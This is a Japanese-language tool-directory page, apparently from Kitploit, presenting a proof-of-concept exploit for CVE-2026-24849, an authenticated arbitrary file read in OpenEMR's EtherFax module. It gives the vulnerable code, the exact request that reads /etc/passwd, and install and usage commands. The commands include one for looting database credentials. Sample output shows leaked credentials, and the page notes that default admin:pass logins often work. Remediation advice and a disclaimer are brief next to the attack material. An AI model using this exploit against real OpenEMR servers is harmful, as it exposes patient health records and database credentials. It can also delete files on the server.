Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-24849 — CVE-2026-24849 の概念実証エクスプロイト。OpenEMR の Fax/SMS (EtherFax) モジュールにおける認証済みパストラバーサル / 任意ファイル読み取りの脆弱性です。権限レベルに関係なく、認証された任意のユーザーが、ウェブサーバーユーザーとしてサーバーファイルシステム上の任意のファイル(データベース認証情報、患者文書/PHI、/etc/passwd など)を読み取ることができます。 | Kitploit
ツール/GitHubGitHub/doany1/cve-2026-24849
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ペネトレーションテスト
GitHubdoany1/cve-2026-24849

CVE-2026-24849

CVE-2026-24849 の概念実証エクスプロイト。OpenEMR の Fax/SMS (EtherFax) モジュールにおける認証済みパストラバーサル / 任意ファイル読み取りの脆弱性です。権限レベルに関係なく、認証された任意のユーザーが、ウェブサーバーユーザーとしてサーバーファイルシステム上の任意のファイル(データベース認証情報、患者文書/PHI、/etc/passwd など)を読み取ることができます。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-24849 OpenEMR 認証済み任意ファイル読み取り (EtherFax disposeDoc)

テスト対象: OpenEMR Version = 7.0.2

CVE-2026-24849 の概念実証エクスプロイトです。これは OpenEMR の Fax/SMS (EtherFax) モジュールにおける認証済みパストラバーサル/任意ファイル読み取り脆弱性です。認証されたユーザーは、権限レベルに関係なく、Webサーバーユーザーとしてサーバーファイルシステム上の任意のファイル(データベース資格情報、患者文書/PHI、/etc/passwd など)を読み取ることができます。

CVECVE-2026-24849
脆弱性パストラバーサル / 任意ファイル読み取り (CWE-22)
コンポーネントEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
影響を受けるバージョンOpenEMR < 7.0.4
修正バージョンOpenEMR 7.0.4
認証必須 任意のユーザー、権限不要
深刻度NVD 6.5 (Medium) / GitHub CNA 9.9 (Critical)
テスト環境OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

脆弱性の詳細

Fax/SMS モジュールの disposeDoc() メソッドは、呼び出し元から提供された file_path リクエストパラメータを受け取り、ファイルの存在を確認した後、有効なセッション以外にパスの正規化、許可リスト、認可チェックを一切行わずにそのまま readfile() に渡します。

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

このハンドラは、モジュールディスパッチャを介して file_path に絶対パスを指定することで到達します(../ によるトラバーサルは不要)。

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

影響

低権限(またはデフォルト)アカウントが、完全なサーバーサイドファイル読み取りプリミティブになります。

  • データベース資格情報 sites/default/sqlconf.php
  • 患者記録/PHI sites/<site>/documents/ 以下のあらゆるファイル。ディレクトリが .htaccess で Deny from all に設定されていても(読み取りはディスク上で行われ、Apache をバイパスするため)。
  • システムファイル /etc/passwd、アプリケーションソース、Webユーザーが読み取り可能なキー/トークン

⚠️ 破壊的な動作

disposeDoc() はファイルを読み取った後に unlink($where) を呼び出します。Webサーバーユーザーが削除できるファイルを読み取ると、そのファイルは削除されます。root 所有のファイル(例: /etc/passwd、ほとんどのインストールにおける sqlconf.php)をターゲットにした場合、親ディレクトリが Webユーザーによって書き込み可能でないため、unlink() は失敗し、ファイルはそのまま残ります。このツールを何に使用するかは慎重に判断してください。

前提条件

  • 有効な OpenEMR の資格情報(任意の権限レベル。デフォルトの admin:pass がしばしば機能します)。
  • Fax/SMS モジュールが有効で、FAXプロバイダとして EtherFax が選択されていること。実際の EtherFax アカウント/資格情報は不要です。ファイル読み取りは外部 API 呼び出しの前に行われるためです。

必要条件

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

インストール

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

使用方法

引数なしで実行すると、必要な情報をすべて対話的に尋ねられます。

root@kitploit:~
python3 CVE-2026-24849.py

または、フラグを使用して非対話的に実行することもできます。

root@kitploit:~
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

オプション

-f を省略すると、ツールは対話型読み取りループに入り、1回のセッションで複数のファイルを取得できます。

例

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

動作の仕組み

  1. requests を使用してログインし、セッションを独自のクッキージャーに保持します(ブラウザのセッションIDローテーションによるコピーしたクッキーの期限切れを回避します)。
  2. 安全なroot所有のプローブファイルを読み取り、認証情報の誤り vs モジュール未有効 vs 成功 を明確に区別してアクセスを確認します。
  3. disposeDoc 読み取りリクエストを送信し、disposeDoc と disposeDocument の両方を自動試行します(メソッド名は影響を受けるマイナーバージョンによって異なります)。

修復方法

  • OpenEMR 7.0.4 以降にアップグレードしてください。 修正ではパスを正規化し、許可されたディレクトリに制限し、実際の認可チェックを追加します。
  • デフォルトの認証情報を変更し、初回ログイン時のパスワードリセットを強制してください。
  • 機密情報と患者文書をWebルートの外部に保管し、.htaccess だけに頼らないでください。

免責事項

このツールは認可されたセキュリティテストおよび教育目的のみで提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。作成者は、このソフトウェアの誤用またはそれによって生じた損害について一切の責任を負いません。上記で説明した破壊的な unlink() の動作に注意してください。

参考情報

  • GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Vendor: https://www.open-emr.org/

著者

doany1

ライセンス

MIT ライセンス。詳細は LICENSE を参照してください。

ツールをダウンロード
フラグ説明デフォルト
-t, --targetベースURL(例: http://10.10.10.10)対話的に入力
-u, --userOpenEMR ユーザー名admin
-P, --passwordOpenEMR パスワード対話的に入力(非表示)
-s, --siteOpenEMR サイトIDdefault
-f, --file読み取るリモートファイルの絶対パス省略時は対話ループ
-o, --output取得したファイルを表示せずにローカルに保存